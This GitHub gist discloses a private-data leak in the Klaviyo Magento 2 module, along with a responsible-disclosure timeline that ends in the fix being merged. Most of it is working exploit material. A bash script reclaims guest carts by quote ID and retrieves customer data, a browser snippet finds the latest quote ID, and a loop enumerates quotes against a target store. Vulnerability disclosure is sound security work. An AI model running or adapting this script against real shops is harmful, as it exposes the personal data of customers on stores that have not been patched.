Skip to content

Instantly share code, notes, and snippets.

@JeroenBoersma
Last active February 21, 2022 18:41
Show Gist options
  • Star 5 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save JeroenBoersma/f5864a45e3df63b198a57abdff366df2 to your computer and use it in GitHub Desktop.
Save JeroenBoersma/f5864a45e3df63b198a57abdff366df2 to your computer and use it in GitHub Desktop.
Klaviyo - Magento 2 private data leakage

Klaviyo read customer quotes for guest carts

April 28th I've found a endpoint in a thirth party module Klaviyo Magento 2 which allows to read private customer data from stores. It works by reclaiming any guest-cart as your own and reading the private data for the orders in the Magento API.

Data

POC

A link to the working POC: https://asciinema.org/a/yudrTM5Xd0xJDWP5DyY2YT8Gi

Find last quote id

  • In the browser open target.
  • Add something to the cart, goto checkout
  • execute: fetch('/rest/V1/guest-carts/' + checkoutConfig.quoteData.entity_id).then(x => x.json()).then(j => console.log(j)) (this will print the last quoteId)

run exploit

  • ./reclaimer.sh BASE_URL QUOTE_ID -> check if everything is set
  • ./reclaimer.sh BASE_URL QUOTE_ID SESSION_ID -> re-use session id
  • ./silence.sh BASE_URL QUOTE_ID -> use for pipe to jq

Options

  • export USER_AGENT= use any user agent
  • export BASE_URL= for the lazy typers, BASE_URL can be ommited

Automation

export BASE_URL={TARGET};
quoteId={YOUR_TEST_QUOTE_ID};

while [ $quoteId -gt 0 ]; do ./silence ${quoteId} | jq .; quote_id=$[ ${quoteId} - 1 ]; sleep 3; done
# it's advisable to re-use the sessions, otherwise you maybe flooding the server with sessions

TODO

  • automaticly create a quote to find last id to search for
#!/bin/bash
USER_AGENT=${USER_AGENT:'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36'};
BASE_URL=${BASE_URL:-}
if [ -z "${BASE_URL}" ]; then
BASE_URL=${1};
shift;
fi
if [ -z "${BASE_URL}" ]; then
echo 'Set BASE_URL or provide as first param';
exit 1;
fi
quoteId=${1:0};
if [ $# -lt 1 ] || [ ${quoteId} -lt 1 ]; then
echo 'Provide quote id as param';
exit 1;
fi
shift;
session=${1:-};
# Create session
if [ -z "${session}" ]; then
echo "Create a session on ${BASE_URL}customer/section/load/" >&2;
session=`curl -vk ${BASE_URL}customer/section/load/ -A "${USER_AGENT}" 2>&1 | grep PHPSESSID | sed -s 's/\(^.*PHPSESSID=\|; .*$\)//g'`
if [ -z "${session}" ]; then
echo "- failed" >&2;
exit 1;
fi
fi
echo "- success ${session}" >&2;
# Try to restore a cart
echo "Reclaim quote ${quoteId} ${BASE_URL}reclaim/checkout/cart/ POST quote_id=${quoteId}" >&2;
curl -skd 'quote_id='${quoteId} -H 'X-Requested-With: XMLHttpRequest' ${BASE_URL}/reclaim/checkout/cart/ --cookie 'PHPSESSID='${session} -A "${USER_AGENT}" >/dev/null;
# Grab maskedId
echo "Get masked quote id from ${BASE_URL}checkout/" >&2;
maskedId=`curl -k ${BASE_URL}'checkout/' --cookie 'PHPSESSID='${session} -A "${USER_AGENT}" 2>/dev/null | grep '"quoteData":{"' | sed -s 's/^.*quoteData":{"entity_id":"\([^"]*\)".*$/\1/'`;
if [ -z "${maskedId}" ]; then
echo "- failed" >&2;
exit 2;
fi
echo "- success ${maskedId}" >&2;
echo "Get latest cart data ${BASE_URL}rest/V1/quest-carts/"${maskedId} >&2;
curl -k ${BASE_URL}'rest/V1/guest-carts/'${maskedId} -A "${USER_AGENT}";
#!/bin/bash
./reclaimer.sh "$@" 2>/dev/null;
  • April 28 2021: Found issue and crafted POC
  • April 28 2021: Requested known Klaviyo employee howto report this security issue
  • April 30 2021: Created responsible disclosure report and further worked out vulnerability
  • May 6 2021: Got contact details
  • May 6 2021: Shared report with Klaviyo
  • May 14 2021: Feedback they're going to discuss this on May 17 with the product team, internal issue is created, no timeline yet
  • May 15 2021: Communicated this gist and notified them I will create PR's for Sansec Magevulndb and Roave Security Advisories on May 21th
  • May 17 2021: Response that it has priority and they're investigating - no timeline yet
  • May 18 2021: Did a suggestion if maskedId was not possible
  • May 18 2021: No notice, but MR klaviyo/magento2-klaviyo#107 was opened with a proper maskedId implementation
  • May 21 2021: Asked for an update, notified I would hold back till MR was merged into master
  • May 24 2021: Klaviyo informed their customers on the matter, asking them kindly to upgrade
  • May 25 2021: Merged klaviyo/magento2-klaviyo#107 into master 👍
  • May 25 2021: Creating MR's for Sansec and Roave <3.0.0
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment